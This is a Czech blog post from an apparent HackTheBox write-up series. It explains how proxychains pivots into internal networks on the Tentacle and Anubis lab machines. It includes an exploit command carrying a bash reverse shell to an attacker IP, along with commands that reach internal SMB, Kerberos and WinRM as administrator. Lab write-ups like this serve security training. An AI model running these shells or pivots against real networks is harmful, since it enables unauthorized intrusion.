tom@home.htb:~$

Blog o HTB

28 October 2020

Proxychains

Úvod a kontext

proxychains je v praxi užitečný tehdy, když útok neskončí na tom, že “něco běží interně”, ale potřebuje běžný klientský nástroj donutit komunikovat přes mezilehlý proxy nebo SOCKS most. Neřeší zranitelnost. Řeší dosažitelnost cíle.

Na Tentacle otevře cestu přes veřejný Squid k internímu WPAD a pak k OpenSMTPD v neveřejném segmentu. Na Anubisu zase využije reverzní SOCKS přes kompromitovaný host a dovolí pracovat s interním SMB, curl, kinit i evil-winrm, jako by šlo o běžně dosažitelné služby. Širší dopravní logiku rozebírám i v článku Port forwarding, proxy a protokolové mosty jako exploitační primitivum.

Co proxychains v praxi řeší

proxychains není skener ani tunelovací server. Je to tenká vrstva, která vezme běžný TCP klientský nástroj a pošle jeho spojení přes definovaný proxy řetězec. Prakticky tedy odpovídá na otázku:

Právě to je jeho největší hodnota. V mnoha řetězcích už služba známá je. Problém není “co napadnout”, ale “jak se k tomu dostat bez psaní vlastního transportního kódu”.

Nejčastější scénáře využití v tomto projektu

Práce přes veřejný proxy do interní sítě

Na Tentacle byla zvenku dostupná pouze Squid proxy. Samotná hodnota útoku ale ležela až za ní: v interním WPAD a ještě dalším SMTP hostu v neveřejném rozsahu.

proxychains curl http://wpad.realcorp.htb/wpad.dat
proxychains python3 exploit.py 10.241.251.113 25 'bash -c "exec bash -i &> /dev/tcp/10.10.14.22/4000 <&1"'

Tady je důležité, že proxychains nepřináší “lepší recon”. Překlápí interní endpoint do podoby, se kterou už umí pracovat běžný toolchain:

Využití reverzního SOCKS po footholdu

Na Anubisu se nejprve získal foothold a přes chisel vznikl reverzní SOCKS most. Teprve na něj navázal proxychains, který dovolil obsluhovat interní služby běžnými klienty:

proxychains -f proxychains4.conf curl "http://softwareportal.windcorp.htb/install.asp?client=10.10.14.7&software=7z1900-x64.exe"
proxychains -f proxychains4.conf smbclient -L 172.28.224.1 -U localadmin
proxychains -f proxychains4.conf kinit -X X509_user_identity=FILE:kinit/admin.cer,kinit/admin.key Administrator@WINDCORP.HTB
proxychains -f proxychains4.conf evil-winrm -i earth.windcorp.htb -u administrator -r WINDCORP.HTB

To je prakticky velmi silný pattern:

Jednotný pracovní způsob napříč nástroji

V projektu je na proxychains cenné i to, že nemění samotný pracovní postup. Když už jednou existuje SOCKS nebo HTTP proxy, lze přes něj protáhnout různé druhy klientů bez přepisování každého kroku zvlášť.

To je důležité hlavně ve chvíli, kdy se útok přelévá mezi různými vrstvami:

Kdy je proxychains nejlepší volba

Největší smysl dává tehdy, když:

V takové chvíli je praktičtější než složit vlastní tunelovací logiku pro každý jednotlivý nástroj.

Co proxychains neumí vyřešit za vás

proxychains:

Na Tentacle byla pořád potřeba znát interní cíl a mít exploit. Na Anubisu byl nejdřív nutný foothold a reverzní SOCKS přes chisel. proxychains řeší až vrstvu “jak tam dostanu svůj klientský provoz”.

Nejčastější chyby při použití

Záměna za anonymizační nástroj

V tomhle projektu proxychains neslouží k anonymizaci. Slouží k dosažitelnosti interních služeb. Pokud se tak nečte, snadno unikne jeho skutečná role v řetězci.

Použití bez jasné představy o dopravní vrstvě

Nejdřív je potřeba vědět:

Bez toho se z proxychains stane jen slepé balení příkazů.

Očekávání, že vyřeší všechny protokoly stejně

Nástroj funguje dobře pro běžné TCP klienty. Jakmile ale daný program používá vlastní síťovou logiku, raw sockety nebo nečekané způsoby resolvu, nemusí být výsledek spolehlivý.

Nejčastější praktické scénáře

Mám veřejný proxy a potřebuji přes něj obsloužit interní službu

To je Tentacle.

Mám foothold a reverzní SOCKS, ale chci dál používat normální nástroje

To je Anubis.

Potřebuji zachovat stejný workflow i po přechodu do interní sítě

To je opakující se situace všude tam, kde se po pivotu dál používá curl, SMB klienti, Kerberos utility nebo WinRM.

Související články v projektu

Co si odnést do praxe

Další Související Články V Projektu

Techniky

Nástroje

tags: nastroje - proxy - socks - tunneling - pivot - localhost